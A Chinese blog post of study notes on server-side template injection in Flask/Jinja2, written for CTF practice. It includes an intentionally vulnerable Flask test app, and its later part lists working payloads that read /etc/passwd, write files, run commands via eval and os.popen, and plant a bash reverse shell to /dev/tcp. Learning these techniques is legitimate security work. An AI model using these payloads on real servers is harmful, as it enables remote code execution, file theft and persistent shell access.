zoukankan      html  css  js  c++  java
  • SSTI学习

    模板引擎

    模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

    模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

    SSTI(模板注入)

    SSTI 就是服务器端模板注入(Server-Side Template Injection)

    当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

    漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

    凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

    Python SSTI

    介绍

    CTF中经常见到的就是Flask框架,而Flask中默认的模板语言是Jinja2,render_template 函数封装了该模板引擎

    模板语法主要分两种变量和结构标签

    {{}}表示这是一个变量,可以根据用户在模块端给予的参数的不同,进行调整

    {% %}这样代表控制语句

    控制语句经常使用的for和if

    if

    {% if title %}                                    
    <title>{{title}} - microblog</title>      
    {% else %}
    <title>Welcome to microblog</title>
    {% endif %}

    for

    {% for user in users %}
    <li>{{ user.username|title }}</li>
    {% endfor %}

    SSTI测试脚本:

    from flask import Flask, render_template, render_template_string, request,flash
    app = Flask(__name__)
     
    @app.route('/yunying')
    def hello():
        code = request.args.get('ssti')
        html = '''
        <h2>The ssti is </h2>
        <h3>%s</h3>
        ''' % (code)
        return render_template_string(html)
     
    if __name__ == "__main__":
        app.run()

    传入{{3*9}}让模板解析

    还可以用Flask中常见的几个全局变量去测试比如config,g,session,request去探测是否存在ssti漏洞

    利用

    python中一切均为对象,均继承object对象

    python的 SSTI大部分是依靠基类->子类->危险函数的方式来利用ssti,以下为一些内置方法

    • __class__

    万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

    • __bases__

    以元组的形式返回一个类所直接继承的类

    • __base__

    以字符串返回一个类所直接继承的类

    • __mro__

    返回解析方法调用的顺序

    • __subclasses__()

    获取类的所有子类

    • __init__

    所有自带带类都包含init方法,便于利用他当跳板来调用globals

    • __globals__

    function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量

    总结:

    __dict__   :保存类实例或对象实例的属性变量键值对字典
    __class__  :返回一个实例所属的类
    __mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
    // __base__和__mro__都是用来寻找基类的
    __subclasses__  :以列表返回类的子类
    __init__   :类的初始化方法
    __globals__     :返回函数所在模块命名空间中的所有变量
    __getattribute__() :获取属性或方法,对模块和类都有效
    __getitem__() :以索引取值或者键取值
    __builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  
    这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  
    在py3中__builtin__被换成了builtin                  
    1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  
    2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

    SSTI中主要的目的:

    • 执行命令
    • 读取文件内容(flag)

    执行shell相关函数

    //执行shell的模块
    import os, commands, platfrom, subprocess 
    //执行shell的函数
    os.system('ls')
    os.popen('ls').read()
    platform.popen('ls').read()
    status,output = commands.getstatusoutput('ls')
    subprocess.call(['ifconfig'],shell=True)

    读文件的话

    py2中
    file对象或者open函数
    py3中
    没有file对象,只能用open函数

    __class__,class用于返回该对象所属的类

     __bases __,以元组的形式返回一个类所直接继承的所有类。

     __base __,以字符串返回一个类所直接继承的类

     __mro __,返回解析方法调用的顺序

    可以看到__bases__返回了test()的两个父类,__base_返回了test()的第一个父类,__mro__按照子类到父类到父类解析的顺序返回所有类(python2和python2有区别)

    __subclasses __(),获取类的所有子类

    __init __
    所有自带带类都包含init方法,便于利用他当跳板来调用globals

    __globals __

    function.__globals __,用于获取function所处空间下可使用的module、方法以及所有变量

    __dict__,保存类实例或对象实例的属性变量键值对字典

    __getattribute__(),获取属性或方法,对模块和类都有效

    python2利用

    就放几个常见的payload理解一下

    文件读取和写入

    #读文件
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 
    {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
    #写文件
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

    任意执行

    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} 
    {{ config.from_pyfile('/tmp/owned.cfg') }} 
    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output
    
    RUNCMD = check_output
    ')}} 
    {{ config.from_pyfile('/tmp/owned.cfg') }} 
    {{ config['RUNCMD']('/usr/bin/id',shell=True) }}   
    
    #假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("
    os.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

    无回显

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}     
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

    任意执行只需要一条指令

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} 
    {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块) 
    {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

    #剩下的考完试再写,一个下午基本懂原理和构造方式了,发现有很多文章杂七杂八的,想总结的话比较困难,理解了就会构造了就完事了,其他的就总结下奇怪的姿势就OK了

    参考:

    https://www.cnblogs.com/-qing-/p/11656544.html

    https://blog.csdn.net/weixin_34203426/article/details/86355535

    https://www.cnblogs.com/zaqzzz/p/10251892.html

    https://blog.csdn.net/qq_40657585/article/details/83657220

  • 相关阅读:
    1048. Find Coins (25)
    return view 详解 MVC
    EF Power Tool 代码生成器 反向生成
    对新数据库使用 Code First
    一个成熟的网站的架构设计应该是这样的
    公司业务的设计思想感悟
    请给奋斗中的男人们一次机会
    大话西游感悟
    充满恶意的单词
    lisp的解释器
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/13983195.html
Copyright © 2011-2022 走看看